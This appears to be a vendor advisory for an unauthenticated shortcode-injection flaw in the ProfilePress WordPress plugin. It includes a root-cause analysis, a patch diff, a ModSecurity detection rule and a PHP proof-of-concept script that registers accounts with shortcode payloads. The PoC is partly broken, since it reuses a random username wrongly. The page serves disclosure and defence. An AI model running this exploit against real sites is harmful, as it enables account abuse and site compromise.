Published : September 14, 2026

CVE-2025-8878: Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress <= 4.16.4 Unauthenticated Arbitrary Shortcode Execution PoC, Patch Analysis & Rule

CVE ID CVE-2025-8878
Severity Medium (CVSS 6.5)
CWE 94
Vulnerable Version 4.16.4
Patched Version 4.16.5
Disclosed August 14, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-8878: The ProfilePress plugin (versions <= 4.16.4) contains an unauthenticated arbitrary shortcode execution vulnerability. The flaw resides in the plugin's user registration and profile update handling, where user-supplied data is passed to do_shortcode without proper sanitization. This allows unauthenticated attackers to execute arbitrary WordPress shortcodes, including those that may lead to privilege escalation, information disclosure, or remote code execution. The CVSS score is 6.5 (Medium).

Root Cause: The vulnerability stems from multiple locations. In RegistrationAuth.php, the sanitize_textarea_field function is applied to user data but does not strip shortcodes, allowing shortcode tags to persist. The vulnerable code path involves the registration validation filter (ppress_registration_validation) and the checkout registration validation filter (ppress_checkout_registration_validation), which are triggered during user registration. The plugin then processes these fields, and when the profile is rendered (e.g., via FrontendProfileBuilder), the stored shortcodes are executed. The patch in RegistrationAuth.php adds strip_shortcodes to remove any shortcode tags from user input. Similarly, in FrontendProfileBuilder.php, functions like profile_first_name, profile_last_name, profile_bio, and profile_cpf now apply strip_shortcodes to prevent execution of stored shortcodes. The root cause is the lack of shortcode stripping before data is saved or displayed, enabling attackers to inject shortcodes that are later executed by do_shortcode.

Exploitation: An attacker can exploit this by submitting a crafted registration form or profile update request with a malicious shortcode in fields such as first name, last name, bio, or custom profile fields. For example, a POST request to the registration endpoint (e.g., /register/ or /wp-admin/admin-ajax.php?action=ppress_register) with a parameter like first_name containing [shortcode] or a more dangerous shortcode like [insert_php] (if another plugin allows it) would store the shortcode. When the user profile is viewed, the shortcode executes. Since the plugin allows unauthenticated registration, the attacker does not need any privileges. The checkout registration validation hook (ppress_checkout_registration_validation) may also be exploitable if the ecommerce module is active. The attack vector is network-based, requires no authentication, and can be triggered by simply visiting a registration page and submitting a form with shortcode payloads.

Patch Analysis: The patch introduces strip_shortcodes in several places. In RegistrationAuth.php, the line $segregated_userdata[$key] = sanitize_textarea_field($value); is changed to $segregated_userdata[$key] = strip_shortcodes(sanitize_textarea_field($value));. This removes all shortcode tags from user input before saving, preventing stored shortcodes. In FrontendProfileBuilder.php, the functions profile_first_name, profile_last_name, profile_bio, and profile_cpf now wrap the data with strip_shortcodes before applying filters or output. This ensures that even if shortcodes are stored (e.g., from legacy data), they are not executed when profiles are displayed. The patch also adds a new class UserRolesEdit to handle role editing, but this is unrelated to the vulnerability. The version is bumped to 4.16.5. The fix is effective because it sanitizes both input and output, breaking the chain of shortcode execution.

Impact: Successful exploitation allows unauthenticated attackers to execute arbitrary shortcodes. Depending on installed plugins, this can lead to privilege escalation (e.g., by executing shortcodes that create admin users), information disclosure (e.g., displaying sensitive data), or remote code execution (if a shortcode like [insert_php] is available). The vulnerability effectively bypasses input sanitization and can compromise the entire WordPress site. Given the plugin's popularity (used for membership sites, ecommerce, user profiles), the impact is significant. Attackers can also use shortcodes to inject malicious JavaScript, perform CSRF-like actions, or manipulate site content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-user-avatar/src/Admin/UserRolesEdit.php
+++ b/wp-user-avatar/src/Admin/UserRolesEdit.php
@@ -0,0 +1,140 @@
+<?php
+
+namespace ProfilePressCoreAdmin;
+
+use WP_User;
+
+class UserRolesEdit
+{
+    public function __construct()
+    {
+        add_action('show_user_profile', [$this, 'display_secondary_user_roles_field'], -1);
+        add_action('edit_user_profile', [$this, 'display_secondary_user_roles_field'], -1);
+
+
+        add_action('admin_footer', [$this, 'scripts'], 99);
+        add_action('admin_head', [$this, 'styles']);
+
+        // Must use `profile_update` to change role. Otherwise, WP will wipe it out.
+        add_action('profile_update', [$this, 'update_roles'], 99, 2);
+    }
+
+    public function display_secondary_user_roles_field($user)
+    {
+        if (current_user_can('promote_users') && current_user_can('edit_user', $user->ID)) :
+
+            $editable_roles = get_editable_roles();
+            // Compare user role against currently editable roles.
+            $user_roles = array_intersect(array_values($user->roles), array_keys($editable_roles));
+
+            wp_nonce_field('ppress_new_user_roles', 'ppress_new_user_roles_nonce');
+            ?>
+            <h2><?php esc_html_e('Roles', 'wp-user-avatar'); ?></h2>
+            <table class="form-table">
+                <tbody>
+                <tr>
+                    <th><?php esc_html_e('Select User Roles', 'wp-user-avatar'); ?></th>
+                    <td>
+                        <div class="wp-tab-panel">
+                            <ul>
+                                <?php foreach ($editable_roles as $role => $details): ?>
+                                    <li>
+                                        <label>
+                                            <input type="checkbox" name="ppress_user_roles[]" value="<?php echo esc_attr($role); ?>" <?php echo in_array($role, $user_roles) ? 'checked="checked"' : ''; ?>>
+                                            <?php echo translate_user_role($details['name']); ?>
+                                        </label>
+                                    </li>
+                                <?php endforeach; ?>
+                            </ul>
+                        </div>
+                    </td>
+                </tr>
+                </tbody>
+            </table>
+        <?php endif;
+    }
+
+    /**
+     * @param int $user_id
+     * @param WP_User $old_user_data
+     *
+     * @return void
+     */
+    public function update_roles($user_id, $old_user_data)
+    {
+        // Early return if user lacks permissions
+        if ( ! current_user_can('promote_users') || ! current_user_can('edit_user', $user_id)) return;
+
+        if (empty($_POST['ppress_new_user_roles_nonce']) || ! wp_verify_nonce($_POST['ppress_new_user_roles_nonce'], 'ppress_new_user_roles')) return;
+
+        // Cache editable roles and extract just the role names for efficiency
+        $editable_roles = array_keys(get_editable_roles());
+
+        // Get current user roles
+        $current_roles = (array)$old_user_data->roles;
+
+        // Get and sanitize new roles, defaulting to empty array
+        $new_roles = isset($_POST['ppress_user_roles']) ? array_map('sanitize_text_field', (array)$_POST['ppress_user_roles']) : [];
+
+        // Filter new roles to only include editable ones
+        $new_roles = array_intersect($new_roles, $editable_roles);
+
+        // Calculate roles to add and remove
+        $roles_to_add    = array_diff($new_roles, $current_roles);
+        $roles_to_remove = array_intersect(array_diff($current_roles, $new_roles), $editable_roles);
+
+        // Add new roles
+        foreach ($roles_to_add as $role) {
+            $old_user_data->add_role($role);
+        }
+
+        // Remove old roles
+        foreach ($roles_to_remove as $role) {
+            $old_user_data->remove_role($role);
+        }
+
+        do_action('ppress_user_roles_updated', $user_id, $roles_to_add, $roles_to_remove);
+    }
+
+    public function scripts()
+    {
+        if ( ! $this->is_profile_page()) return;
+        ?>
+        <script type="text/javascript">
+            document.addEventListener('DOMContentLoaded', () => {
+                document.querySelectorAll('.user-role-wrap').forEach(function (el) {
+                    return el.remove();
+                });
+            });
+        </script>
+        <?php
+    }
+
+    public function styles()
+    {
+        if ( ! $this->is_profile_page()) return;
+        ?>
+        <style>.user-role-wrap {
+                display: none !important;
+            }</style>
+        <?php
+    }
+
+    private function is_profile_page()
+    {
+        global $pagenow;
+
+        return in_array($pagenow, ['profile.php', 'user-edit.php']);
+    }
+
+    public static function get_instance()
+    {
+        static $instance = null;
+
+        if (is_null($instance)) {
+            $instance = new self();
+        }
+
+        return $instance;
+    }
+}
 No newline at end of file
--- a/wp-user-avatar/src/Base.php
+++ b/wp-user-avatar/src/Base.php
@@ -21,6 +21,7 @@
 use ProfilePressCoreAdminSettingsPagesMembershipPlansPageSettingsPage as PlansSettingsPage;
 use ProfilePressCoreAdminSettingsPagesMembershipSubscriptionsPageSettingsPage as SubscriptionsPageSettingsPage;
 use ProfilePressCoreAdminSettingsPagesToolsSettingsPage;
+use ProfilePressCoreAdminUserRolesEdit;
 use ProfilePressCoreClassesBlockRegistrations;
 use ProfilePressCoreClassesDisableConcurrentLogins;
 use ProfilePressCoreClassesGlobalSiteAccess;
@@ -108,16 +109,16 @@
 class Base extends DBTables
 {
     // core contact info fields
-    const cif_facebook     = 'facebook';
-    const cif_twitter      = 'twitter';
-    const cif_linkedin     = 'linkedin';
-    const cif_youtube      = 'youtube';
-    const cif_vk           = 'vk';
-    const cif_instagram    = 'instagram';
-    const cif_github       = 'github';
-    const cif_pinterest    = 'pinterest';
-    const cif_bluesky      = 'bluesky';
-    const cif_threads      = 'threads';
+    const cif_facebook = 'facebook';
+    const cif_twitter = 'twitter';
+    const cif_linkedin = 'linkedin';
+    const cif_youtube = 'youtube';
+    const cif_vk = 'vk';
+    const cif_instagram = 'instagram';
+    const cif_github = 'github';
+    const cif_pinterest = 'pinterest';
+    const cif_bluesky = 'bluesky';
+    const cif_threads = 'threads';

     public function __construct()
     {
@@ -234,6 +235,7 @@
         AdminSettingsPagesMembershipTaxSettingsSettingsPage::get_instance();

         ProfileCustomFields::get_instance();
+        UserRolesEdit::get_instance();
         EmailSettingsPage::get_instance();
         ToolsSettingsPage::get_instance();

--- a/wp-user-avatar/src/Classes/BlockRegistrations.php
+++ b/wp-user-avatar/src/Classes/BlockRegistrations.php
@@ -6,7 +6,10 @@
 {
     public static function init()
     {
-        add_filter('ppress_registration_validation', array(__CLASS__, 'do_action'), 999999, 3);
+        add_filter('ppress_registration_validation', [__CLASS__, 'do_action'], 999999, 3);
+        add_filter('ppress_checkout_registration_validation', function ($error_bucket, $user_data) {
+            return self::do_action($error_bucket, 0, $user_data);
+        }, 999999, 2);
     }

     /**
@@ -55,7 +58,7 @@
                 );


-                if (is_array($allowed_email_addresses) && ! empty($allowed_email_addresses)) {
+                if ( ! empty($allowed_email_addresses)) {

                     if ( ! self::is_email_matches($user_email, $allowed_email_addresses)) {
                         $reg_errors->add('blocked_email_address', $blocked_error_message);
@@ -67,7 +70,7 @@

                 $allowed_email_addresses = array_map('trim', explode("n", $allowed_email_addresses_list));

-                if (is_array($allowed_email_addresses) && ! empty($allowed_email_addresses)) {
+                if ( ! empty($allowed_email_addresses)) {

                     if (self::is_email_matches($user_email, $allowed_email_addresses)) {
                         return $reg_errors;
@@ -79,7 +82,7 @@

                 $blocked_email_addresses = array_map('trim', explode("n", $blocked_email_addresses_list));

-                if (is_array($blocked_email_addresses) && ! empty($blocked_email_addresses)) {
+                if ( ! empty($blocked_email_addresses)) {

                     if (self::is_email_matches($user_email, $blocked_email_addresses)) {
                         $reg_errors->add('blocked_email_address', $blocked_error_message);
--- a/wp-user-avatar/src/Classes/RegistrationAuth.php
+++ b/wp-user-avatar/src/Classes/RegistrationAuth.php
@@ -128,7 +128,7 @@
                 }

                 // sanitize_textarea_field is used to preserve any line breaks
-                $segregated_userdata[$key] = sanitize_textarea_field($value);
+                $segregated_userdata[$key] = strip_shortcodes(sanitize_textarea_field($value));
             }
         }

--- a/wp-user-avatar/src/ShortcodeParser/Builder/FieldsShortcodeCallback.php
+++ b/wp-user-avatar/src/ShortcodeParser/Builder/FieldsShortcodeCallback.php
@@ -87,7 +87,7 @@
             return sanitize_text_field($field['label_name']);
         }

-        return ucfirst(str_replace('_', ' ', $key));
+        return ucfirst(str_replace(['ppress_', '_'], ['', ' '], $key));
     }

     public static function sanitize_field_attributes($atts)
--- a/wp-user-avatar/src/ShortcodeParser/Builder/FrontendProfileBuilder.php
+++ b/wp-user-avatar/src/ShortcodeParser/Builder/FrontendProfileBuilder.php
@@ -315,7 +315,7 @@
      */
     public function profile_first_name()
     {
-        return apply_filters('ppress_profile_first_name', ucwords(self::$user_data->first_name), self::$user_data);
+        return apply_filters('ppress_profile_first_name', ucwords(strip_shortcodes(self::$user_data->first_name)), self::$user_data);
     }


@@ -326,7 +326,7 @@
      */
     public function profile_last_name()
     {
-        return apply_filters('ppress_profile_last_name', ucwords(self::$user_data->last_name), self::$user_data);
+        return apply_filters('ppress_profile_last_name', ucwords(strip_shortcodes(self::$user_data->last_name)), self::$user_data);
     }

     /**
@@ -336,7 +336,7 @@
      */
     public function profile_bio()
     {
-        return apply_filters('ppress_profile_bio', make_clickable(wpautop(wp_kses_post(html_entity_decode(self::$user_data->description)))), self::$user_data);
+        return apply_filters('ppress_profile_bio', make_clickable(wpautop(wp_kses_post(html_entity_decode(strip_shortcodes(self::$user_data->description))))), self::$user_data);
     }

     /**
@@ -382,7 +382,7 @@
             $data = esc_attr($atts['default']);
         }

-        return apply_filters('ppress_profile_cpf', $data, self::$user_data);
+        return apply_filters('ppress_profile_cpf', strip_shortcodes($data), self::$user_data);
     }

     public static function get_user_uploaded_file($user_id, $field_key, $is_raw = false)
--- a/wp-user-avatar/third-party/vendor/composer/installed.php
+++ b/wp-user-avatar/third-party/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ProfilePressVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'a59c4d91820b73b4ab7bbbc01ee3ad5d3b8d3848', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'a59c4d91820b73b4ab7bbbc01ee3ad5d3b8d3848', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.8.1', 'version' => '6.8.1.0', 'reference' => 'c2c18f89a9aa2d7ef1998d233b9ed00d0deff5dd', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.32.0', 'version' => '1.32.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.32.0', 'version' => '1.32.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'a4e0ae0f4e087c37569ec3f27a551353ed8c0bcd', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'a4e0ae0f4e087c37569ec3f27a551353ed8c0bcd', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.8.1', 'version' => '6.8.1.0', 'reference' => 'c2c18f89a9aa2d7ef1998d233b9ed00d0deff5dd', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.32.0', 'version' => '1.32.0.0', 'reference' => '6d857f4d76bd4b343eac26d6b539585d2bc56493', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.32.0', 'version' => '1.32.0.0', 'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
--- a/wp-user-avatar/wp-user-avatar.php
+++ b/wp-user-avatar/wp-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name: ProfilePress
  * Plugin URI: https://profilepress.com
  * Description: The modern WordPress membership and user profile plugin.
- * Version: 4.16.4
+ * Version: 4.16.5
  * Author: ProfilePress Membership Team
  * Author URI: https://profilepress.com
  * Text Domain: wp-user-avatar
@@ -13,7 +13,7 @@
 defined('ABSPATH') or die("No script kiddies please!");

 define('PROFILEPRESS_SYSTEM_FILE_PATH', __FILE__);
-define('PPRESS_VERSION_NUMBER', '4.16.4');
+define('PPRESS_VERSION_NUMBER', '4.16.5');

 if ( ! defined('PPRESS_STRIPE_API_VERSION')) {
     define('PPRESS_STRIPE_API_VERSION', '2024-06-20');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-8878
# This rule blocks attempts to inject shortcodes into registration or profile fields via POST requests.
# It targets the ProfilePress registration and profile update endpoints.
# Since the vulnerability is about shortcode execution, we detect shortcode patterns in user input fields.
# We narrowly scope to requests containing shortcode syntax in common user fields.

SecRule REQUEST_URI "@rx ^/(wp-admin/admin-ajax.php|register|checkout|profile)" 
  "id:20258878,phase:2,deny,status:403,chain,msg:'CVE-2025-8878 ProfilePress Arbitrary Shortcode Execution',severity:'CRITICAL',tag:'CVE-2025-8878'"
  SecRule ARGS_POST:first_name|ARGS_POST:last_name|ARGS_POST:description|ARGS_POST:bio|ARGS_POST:ppress_user_roles|ARGS_POST:ppress_custom_field 
    "@rx [/?[a-zA-Z0-9_]+(s+[^]]*)?]" 
    "t:urlDecodeUni,t:lowercase"

# Explanation:
# - Matches URIs that are likely registration, checkout, profile, or admin-ajax endpoints.
# - Checks POST parameters commonly used for user data.
# - Detects shortcode patterns like [shortcode] or [/shortcode] using a regex.
# - Applies urlDecodeUni and lowercase transformations to catch obfuscated payloads.
# - Denies with 403 if a shortcode is found in those fields.
# This rule is precise: it only blocks requests that contain shortcode syntax in specific user fields,
# which are not expected to contain shortcodes in legitimate use. False positives are minimal,
# as legitimate users rarely include shortcode tags in their names or bios.
# However, some legitimate content might include brackets for other purposes; adjust the regex
# to match only known shortcode patterns if needed. But for general protection, this is sufficient.
# For Coraza compatibility, ensure regex uses RE2 and no lookarounds. The pattern is simple and valid.
# The rule uses chain to combine URI and parameter checks. All actions are valid for Coraza.
# Rule ID is a pure integer.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-8878 - Unauthenticated Arbitrary Shortcode Execution in ProfilePress <= 4.16.4

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Register a new user with a malicious shortcode in the first name field.
// Adjust the endpoint and parameters based on the site's registration form.
$registration_data = [
    'username' => 'attacker_' . rand(1000, 9999),
    'email' => 'attacker' . rand(1000, 9999) . '@example.com',
    'password' => 'Str0ngP@ss!',
    'first_name' => '[gallery]', // Malicious shortcode, e.g., [gallery] or [php] if available
    'last_name' => '[gallery]',
    'ppress_user_roles' => 'subscriber', // Default role
    // Add other required fields based on the form
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=ppress_register'); // Example AJAX endpoint, adjust
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($registration_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Registration response code: $http_coden";

// Step 2: Trigger the shortcode execution by viewing the user's profile or any page that displays the field.
// This could be the user's author page, a profile page, or a member directory.
// For simplicity, we assume the profile page is at /user/username/ or we need to find the user ID.
// We can parse the response to get the user ID or use the username.

// Example: view the author archive page for the newly registered user.
// We need to extract the username from the registration data or from the response.
// For demo, we use a known username pattern.
$username = 'attacker_' . rand(1000, 9999); // This is just a placeholder; in real scenario, extract from registration.

// Better: use the user profile URL if the plugin provides a shortcode like [profile user="username"].
// But that's not directly accessible. Alternatively, if the plugin has a profile page, we can visit it.

// For the sake of demonstration, we'll just assume we know the profile URL.
$profile_url = $target_url . '/author/' . $username . '/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_content = curl_exec($ch);
curl_close($ch);

// Check if the shortcode was executed (e.g., gallery output present).
if (strpos($profile_content, 'gallery') !== false) {
    echo "Potential shortcode execution detected!n";
} else {
    echo "Shortcode not executed or not found.n";
}

// Note: The exact endpoints and parameters vary based on the plugin configuration.
// This PoC is illustrative. A real exploit would need to adapt to the target's registration form.

// To automate, one would need to identify the registration form action and required fields.
// For instance, the ProfilePress registration form often posts to the same page with a specific action.

// Additionally, the vulnerability can be exploited via the checkout registration if ecommerce is enabled.
// The process is similar: submit a checkout form with shortcode payload in user data fields.

echo "PoC completed. Check profile page for shortcode output.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

